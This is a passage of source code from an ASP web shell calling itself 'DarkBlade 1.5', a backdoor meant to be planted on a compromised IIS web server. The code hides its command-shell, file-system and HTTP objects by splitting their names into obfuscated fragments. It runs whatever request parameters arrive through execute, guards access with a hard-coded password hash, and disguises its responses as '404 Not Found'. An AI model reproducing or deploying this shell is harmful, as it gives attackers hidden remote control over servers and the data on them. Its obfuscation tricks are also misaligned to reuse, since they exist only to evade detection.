<%@ LANGUAGE='VBScript' CODEPAGE='65001'%>
<%
Response.Buffer=True
Response.Clear
Response.CharSet="utf-8"
Server.ScriptTimeOut=300
'-------------------------------Config-------------------------------
Const pass="C5E83EDF778C18482D84D5489B8D8F"'admin
Const pipu=True
Const iycew=59
Const ydnj=False
Const csj="_"
Const jsrfr="lqbip|rcvdh|ihyn|ihk|ybgqm|aiw|gwk|qmkq|rxg|jksfh|geww|vgm|ulz|jqj|nyf|sesq|ugxyt|pnu|czwfq|yvquw|wckz|uwrty"
Const amb="login"
Const alqp="GB2312"
Const dxpm="asp|asa|cer|cdx"
Const mhla="asp|asa|cer|cdx|aspx|asax|ascx|cs|jsp|php|txt|inc|ini|js|htm|html|xml|config"
Const nhbqw=50
Const echs="zzzzzzzz.html"
Const aerq=False
'-------------------------------Config-------------------------------
Dim goaction,lqbip,ihyn,ihk,aiw,gwk,lkyy,iuwq,vnznl,xjab,zjhor,nun,wbxx,cngn,ogfim,rfaq,vfo,nzax,zhyko,mkew,qmkq,ads,ajto,xdmm,rcvdh,ujcmu,qtylw,dqc,rqszr,iij,ogda,exte,mhvec,acjdi,conn,rxg,fkho,bondh,podw,mpj,qebjx,jksfh,geww,jdvf,vgm,ulz,kurmq,jqj,gmhi,nyf,qrqg,zqps,ubql,znx,gtt,ertns,mt,sesq,czwfq,ugxyt,pnu,nuatb,ytusx,pwab,dgj,ybgqm,mvvi,wseta,fjjxv,xjmb,irbw,rke,rhnw,glw,wannd,ldcr,tbe,oth,kylxz,uwdvh,ccnh,nuser,npass,wtpog,pgvr,yvquw,wckz,qqp,ryfj,vujc,uwrty,ktg,ghpc,lqog
mvvi="DarkBlade 1.5 Sex OverLord Edition"
wseta="DarkBlade"
fjjxv="DarkB"++"ladePa"+rtoqv+"ss"
dxoes()
nnam()
uwdvh=jnph()
If Not uwdvh And goaction<>amb Then grh()
If aerq And Trim(ramoi("AUT"+meeeq+"H_USER"))="" Then
Response.Status="401 Unautho"+zcuti+"rized"
Response.Addheader"WWW-AuThen"+zln+"ticate","BASIC"
If ramoi("AUT"+meeeq+"H_USER")=""Then Response.End()
End If
Select Case goaction
Case amb
jnnby()
Case"bapis"
lrnyc()
Case"eyb"
yzj()
Case"fbk"
ptib()
Case"zzajv"
ojyen()
Case"rwumm"
wbmfm()
Case"lfx"
yvs()
Case"kbqxz"
awsr()
Case"gbe"
nvkq()
Case"dkdl"
srxtf()
Case"ide"
xibim()
Case"rcjqh"
aum()
Case"Logout"
mddep()
Case"jzp"
jmqbw()
Case"jilq","veerr"
fevyb()
Case Else
fevyb()
End Select
viwe
Sub dxoes()
If Not ydnj Then On Error Resume Next
rfaq=Timer()
Dim kue,fri,egpnh,zfmf,didec,ubizz,zpsji,qowkf
servurl=ramoi("URL")
Set iuwq=nfffq("MSXML"+ifdg+"2.XM"+swww+"LHTTP")
Set vnznl=nfffq("WS"+qkdx+"cript.She"+nomr+"ll")
Set xjab=nfffq("Scriptin"+xfw+"g.FileSystemObj"+znlfx+"ect")
Set zjhor=nfffq("She"+nlrnz+"ll.Applic"+oqzje+"ation")
If Not IsObject(vnznl)Then Set vnznl=nfffq("WS"+qkdx+"cript.She"+nlrnz+"ll.1")
If Not IsObject(zjhor)Then Set zjhor=nfffq("She"+nlrnz+"ll.Applic"+oqzje+"ation.1")
Set wbxx=new RegExp
wbxx.Global=True
wbxx.IgnoreCase=True
wbxx.MultiLine=True
lkyy=ramoi("SERVER_NAME")
cngn=ramoi("PATH_INFO")
ogfim=Lcase(zsz(cngn,"/"))
nzax=wxw(".")
zhyko=wxw("/")
ujcmu=1
ads=1
Response.status="404 Not Found"
End Sub
Sub nnam()
If Not ydnj Then On Error Resume Next
For Each fri in request.queryString
execute fri&"=request.queryString("""&fri&""")"
Next
If InStr(ramoi("CONTENT_TYPE"),"multipart/form-data")>=1 Then
Set pgvr=new upload_5xsoft
For Each egpnh in pgvr.xgqlo
execute egpnh&"=pgvr.Form("""&egpnh&""")"
Next
Else
For Each kue in request.Form
execute kue&"=request.form("""&kue&""")"
Next
End If
qowkf=Split(jsrfr,"|")
For Each zpsji in qowkf
execute""&zpsji&"=mdez("&zpsji&")"
Next
lqbip=Replace(lqbip,"/","\")
If Right(lqbip,1)="\"And Len(lqbip)>3 Then lqbip=Left(lqbip,Len(lqbip)-1)
End Sub
Sub viwe()
If Not ydnj Then On Error Resume Next
Dim ocmv
iuwq.abort
Set iuwq=Nothing
Set vnznl=Nothing
Set xjab=Nothing
Set zjhor=Nothing
Set wbxx=Nothing
vfo=timer()
ocmv=vfo-rfaq
echo"
"
mwt gmhi
sodx"100%"
echo""
echo""
mwt mkew
ocmv=FormatNumber(ocmv,5)
If Left(ocmv,1)="."Then ocmv="0"&ocmv
mwt"
"
echo"Processed in :"&ocmv&"seconds |